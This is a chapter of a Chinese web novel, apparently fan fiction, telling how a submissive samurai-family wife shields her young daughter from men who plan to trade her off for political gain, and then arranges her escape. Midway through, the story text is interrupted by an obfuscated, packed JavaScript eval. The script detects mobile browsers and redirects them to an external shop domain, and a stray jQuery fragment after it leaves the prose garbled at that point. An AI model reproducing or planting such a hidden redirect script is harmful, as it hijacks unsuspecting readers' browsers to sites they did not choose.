文趣网 > 其他小说 > [综]不想恋爱,但掷出苹果 > 15. 妾心亦然牵挂君,终日难安
    第15章妾心亦然牵挂君,终日难安

    寡淡。浅井夫人想。

    “面目平庸,”母亲捏着她的下巴左右端详,“安静些也好,贞洁柔顺,好嫁人。”

    小时候,她一直被要求不要说话。

    “服从,”父亲的脸已经模糊,“这是武士家女儿的必修课。”

    浅井夫人便不说话了。

    她在廊下安静地跪坐,膝盖下的蒲团再硬也不挪动分毫;在奉茶时垂首,恰到好处的露出白皙的后颈;学会了在父亲与兄长谈论政事时,像一道影子般,连呼吸都放轻。

    她的人生,像一杯枯竭的无趣的清茶。

    父母不想了解这杯面目平庸的茶。

    正大人也不想端详这杯普通的茶。

    就这样平静的日子。

    婚后的浅井夫人依然少话。清晨起身,为丈夫整理衣物;日间洒扫,将庭院里的落叶归拢;傍晚备膳,把冷掉的茶汤倒掉重煮。

    她安静地活着,像一杯被反复冲泡,早已失了茶味的残茶。

    直到女儿生下来,正大人勃然大怒。

    他挥袖而走,木屐在廊下踩出愤怒的脆响。这样的女儿对他无用。他本指望一个儿子,一个能继承浅井家姓氏的儿子。

    自此,正大人不再理会她们。

    浅井夫人却珍惜这个可怜的女儿。

    阿织性格内敛,甚至不爱说话,沉浸在自己的梦里。有时盯着庭院里的落花一看就是半日,有时对着空气喃喃自语。浅井夫人妥帖照顾,喂饭,换衣,梳发,把女儿稀疏的金发编成细细的小辫,在末梢系上素净的丝带。

    日子虽然平淡,但是大家不都是这样吗。

    *

    直到阿织长大到五岁。

    岁月像一把温柔的刻刀,将那个普通的孩子慢慢雕琢成光华的玉。她的金发不再稀疏,而是闪闪发光,浓密得像把阳光都拢在了发间;金瞳晕染开的光芒婉转游移,让人移不开眼的潋滟;小脸楚楚动人,内敛成了玉骨端静,不爱说话也让人怜惜至极。

    正大人非常满意。

    他开始在家哈哈大笑,他抚着阿织的金发,像在鉴赏一件终于升值的藏品:“好!好!我浅井家即将发达!”

    他打算一鼓作气,依靠阿织的脸,做出一番事业。

    大概是岁月的痕迹总会让人成长吧。

    浅井夫人注视着女儿的金瞳,金光灿灿让她思绪万千,晕染开来,她昏昏沉沉地想:凭什么正大人想冷落就走?凭什么又要随便的回来?凭什么要送可怜的阿织走?那些大名,那些把女人当作玩物的男人们,阿织才五岁,五岁!

    不愿意。

    浅井夫人非常不愿意。

    她不动声色,寡淡的影子一般,观察了正大人带回来的忍者们。

    那群忍者穿着粗布衣裳,眼神像野狗一样警惕,粗鲁,暴力。

    正大人当然是有所安排,他酒后得意洋洋,红着脸拍着大腿,忍不住对浅井夫人炫耀道:“明年!明年大名的巡视,我会让这群忍者追逐美丽的少女,大名前来英雄救美!好一出戏码!大名绝对喜欢!”

    浅井夫人垂首奉茶,指尖稳得没有一丝颤抖。

    正大人迫不及待,情绪高昂,接连几晚都来找她。他想要儿子了,浅井家即将发达,前途已然光明。他在她身上起伏时,浅井夫人望着屋顶,想起阿织金瞳里那种天真的信任的光。

    不过是透露一些风声。

    不过是浅浅地描述了忍者们的一些细节。

    在一个风雨交加的晚上,她用被子裹住女儿,按住她的耳朵。阿织在发抖,雷声滚过屋顶,正大人在外面吵闹的喊叫。浅井夫人耐心地安抚女儿,声音轻得像在唱摇篮曲:“安心吧,安心吧,过了今晚就好了。”

    隔日,浅井夫人把女儿锁在屋内。

    她找了下人去求助当地贵族——宫田大人。她特意换上了一件绀青色无地小袖,下摆的菖蒲暗纹在行走时若隐若现。薄罗面料,隐隐约约,灰紫色的细带松散地斜落在腰侧,款款一拜,露出白皙纤细的后颈。

    宫田大人就跟传闻一样。

    他捏着她的下巴,像在端详一件新得的瓷器。然后笑了,满足后,此事就这样淡淡揭过。正大人"意外"死于忍者冲突,浅井家由夫人暂代,无人质疑。

    *

    浅井夫人一开始想着,就这样吧。

    安稳地依靠宫田大人,如同一杯勉强还能品味的茶。宫田大人偶尔来,偶尔不来,她从不追问,安安静静的。

    直到有一天,宫田大人看到了阿织。

    那孩子正在庭院里追蝴蝶,金发在阳光下像一团燃烧的火。宫田大人停下脚步,抚摸胡须,满意的微笑:“此女必有一番作为啊,重值千金!”

    浅井夫人低低地垂首。

    但是她已经看到了宫田大人的眼神,那种贪婪的的眼神。她太熟悉了,正大人当年就是这样看阿织的。

    女人总是看似有依托,实则风雨无依啊。

    浅井夫人露出了羞涩的笑意,袖中的手指却掐进了掌心,乖巧表态,“幸蒙宫田大人爱重阿织,妾万般感念。妾心亦然牵挂君,终日难安,凡微末琐事,妾皆愿为君操持。”

    宫田大人意味深长的笑了。

    浅井夫人接触了以前不会做的事情。

    不仅仅是端茶递水,不仅仅是服从丈夫,她开始大量的接触忍者,在他们刀锋一般的打量中,款款而谈。她在交易时垂下睫毛,后颈在烛光下泛着柔光,在忍者质疑时,用温驯的语气说:“宫田大人吩咐,怎敢多言?”

    要服从宫田大人啊。

    但是。

    浅井夫人不愿意。

    她剪短了阿织的头发,让她看上去年纪更小,更像一个幼童。她严谨锁住了阿织的院门,下人也只能送饭做打扫。

    看着女儿荡着秋千,金发如散落的阳光四处弥漫。

    浅井夫人静静一笑。

    我还有时间。她想。在阿织被当作礼物之前,还有时间。

    *

    没有时间了。

    不如嫁人吧。

    得知宫田夫人的死讯,浅井夫人深深地叹了口气。那位夫人她见过一次,在宫田家的赏花宴上,是个眉目温婉的女子,说话轻声细语,却能在宫田大人暴怒时轻轻按住他的手背,让他收敛锋芒。有她在,宫田大人还不至于过于的越线。

    上个月宇智波忍者提出要单独跟宫田大人谈一个任务起,这种不是单纯的药材交易让她深感不安。宫田大人的野心,过于大胆。走私药材是谋财,走私矿产是通敌,万一被发现了,是大罪。

    但是现在没有宫田夫人的安抚按耐,该怎么办呢?

    浅井夫人面目表情地看着面前的冷茶。

    茶汤已经凉透了,表面浮着一层细碎的茶叶末,像一层肮脏的浮萍。她端起茶盏,一饮而尽。苦涩从舌尖蔓延到喉咙,再沉入胃里,像某种决绝的仪式。

    阿织得找个婚约对象。

    我可以就这样而去,如秋日的落叶,飘零无归处。

    反正这一生,寡淡,顺从,卑微如尘。

    但阿织不是我这种一无所有的残茶。

    她要活下来,长大,才能撼动这个世界,才能选择自己想要的未来。

    *

    事情的发展总不会一帆风顺。就如行走在河流之间,脚下遍地都是碎石。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17629326|206308||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    宫田大人不允许阿织嫁人,他另有安排。

    浅井夫人恭敬端酒,衣袖垂落,露出纤细的手腕。她跪坐在他身侧,斟酒,布菜,像过去无数次那样温顺。一番云雨之后,她伏在他胸口,状若无意地聊起了阿织的安排。

    “虽得宫田大人信重,”她声音轻软,像在说一件无关紧要的家常,“但是阿织年龄还小,识字都不全呢,尚且没有什么才艺,还需要在家多培养几年。不然会辜负大人一片苦心。”

    宫田大人呵然一笑:“你的目光短浅就罢了。自己亲手培养未来的侧室,哪个男人不喜欢呢?”他凑近,酒气喷在她脸上,“自有大人去安排的。你就别用浅薄可笑的心思去雕琢珍贵的玉了。”

    浅井夫人羞涩一笑,承认是自己才疏学浅,不再多言。

    她垂下头,让长发遮住脸上的表情。

    隔日,她写了一封信。

    她拜托了自己小时候一个姑且还能算是手帕之交的朋友,对方也是嫁给了一个武士家庭。

    “希望得到你的关照,让我把阿织寄养过去。”她写道,“我愿意把全部身家,全部信任交托于你。只求善良的武士大人可以稍微照料下我的女儿阿织。如果可以的话,等阿织大了,请让她自己决定嫁人吧。不求给阿织什么嫁妆,只要让她可以用武士家的女儿名义出嫁即可。”

    她给了下人三倍的路费,看着他消失在晨雾里。

    很快她收到了来信,随信而来的还有一位女忍者。她童年好友知道了她迫切的请求,愿意出手相助。

    与此同时,宫田也通知她了。

    让她烧去一切交易记录,收拾妥当,带着女儿过去宫田家。尽快。

    浅井夫人想,幸好还来得及。

    幸好啊,阿织还能活下去。

    她带着女忍者去了阿织的院子。月光如水,女儿在月光下不安地蜷缩着,金发披散下来,像一团被揉乱的光华。

    希望我这次决定是对的。她想。

    她喊醒了女儿。

    昏暗的灯光下,一地不应该出现在这里的小物件。

    她气急而笑。

    忍者!忍者!

    刀口上舔血,命如朝露!

    岂能配得上自己的女儿!

    做梦吧!

    *

    即使是这样的突发变动,阿织依然乖巧冷静。她没有哭,没有闹,只是静静地看着母亲,金瞳里映着月光,像两面小小的镜子。

    像自己。

    浅井夫人深深地感受到了痛苦。为什么要像我这种人呢!

    有这种容颜!不能像我!不能乖巧!!不能服从!!!我的女儿!不能像我!!

    她第一次坦言撕开自己寡淡忍耐的一面,在女儿面前,也是最后一次。

    “阿织,”她说,声音不再轻软,坚硬的决绝道,“你的脸,足以撼动乱世江山,左右天下霸主之心。你的美貌便是利刃,是你最好的筹码。”

    最终,她没有挥手。

    作为母亲,她也没做什么值得一提的事情。她不应该让女儿为她伤心,愧疚会拖住阿织的脚步,眷恋会让阿织软弱。

    她总是锁着阿织。

    她不给阿织见其他人。

    就算是小孩子,那次打架以后,也不行。

    她这样的母亲,大抵女儿看她,就如同看到冬日的雪一样吧。

    就让阿织,带着这样的印象,好好活下去吧。

    不需要惦记母亲,就当她是一杯寡淡的残茶,倒了便倒了,不值得回味。

    *

    那么,她要去做最后一件事了。

    落雪归于大地。

    落叶也要随风而去。